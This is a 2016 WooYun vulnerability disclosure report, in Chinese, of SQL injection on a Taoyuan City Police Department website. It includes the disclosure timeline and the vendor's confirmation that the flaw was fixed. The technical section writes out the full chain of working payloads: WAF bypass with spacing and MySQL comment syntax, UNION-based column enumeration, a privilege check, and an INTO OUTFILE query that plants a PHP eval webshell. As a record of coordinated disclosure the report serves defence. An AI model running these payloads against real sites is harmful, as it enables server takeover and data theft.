漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2016-0170682
漏洞标题:桃園市政府警察局注入漏洞可Getshell涉及多個資料庫(臺灣地區)
相关厂商:桃園市政府警察局
漏洞作者: 路人甲
提交时间:2016-01-20 16:00
修复时间:2016-02-28 23:32
公开时间:2016-02-28 23:32
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态: 已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2016-01-20: 细节已通知厂商并且等待厂商处理中
2016-01-23: 厂商已经确认,细节仅向厂商公开
2016-02-02: 细节向核心白帽子及相关领域专家公开
2016-02-12: 细节向普通白帽子公开
2016-02-22: 细节向实习白帽子公开
2016-02-28: 厂商已经修复漏洞并主动公开,细节向公众公开
简要描述:
RT
详细说明:
http://**.**.**.**/newtyhp/mobile/news_detail.php?id=95990%27
http://**.**.**.**/newtyhp/mobile/news_detail.php?id=95990 and 1=1被攔截了。
不過這種waf很容易繞過,多一個空格即可。
http://**.**.**.**/newtyhp/mobile/news_detail.php?id=95990 and 1=1
返回正常
http://**.**.**.**/newtyhp/mobile/news_detail.php?id=95990 and 1=2
無內容
http://**.**.**.**/newtyhp/mobile/news_detail.php?id=95990 order by 38
返回正常
http://**.**.**.**/newtyhp/mobile/news_detail.php?id=95990 order by 39
使用union select 直接攔截,這裡我們把它用URL編碼一下,變成:
http://**.**.**.**/newtyhp/mobile/news_detail.php?id=-95990%20/*!union*/%20/*!select*/%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38
http://**.**.**.**/newtyhp/mobile/news_detail.php?id=-95990%20/*!union*/%20/*!select*/%201,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38
root權限,gpc=off,接著找網站路徑,可以寫入webshell
這個文件剛好洩漏了網站路徑:http://**.**.**.**/global.php
D:\Server\htdocs1\這個就是網站的根目錄。
寫入webshell:
http://**.**.**.**/newtyhp/mobile/news_detail.php?id=-95990%20/*!union*/%20/*!select*/%201,2,3,4,'<?php eval($_POST[haihai])?>',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38%20%20%20into%20%20%20outfile%20%20%20%27D:/Server/htdocs1/newtyhp/mobile/haihaia.php%27
漏洞证明:
修复方案:
直接用個防注入程式碼就可以防禦了。
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:18
确认时间:2016-01-23 02:58
厂商回复:
感謝通報
最新状态:
2016-02-28:已修復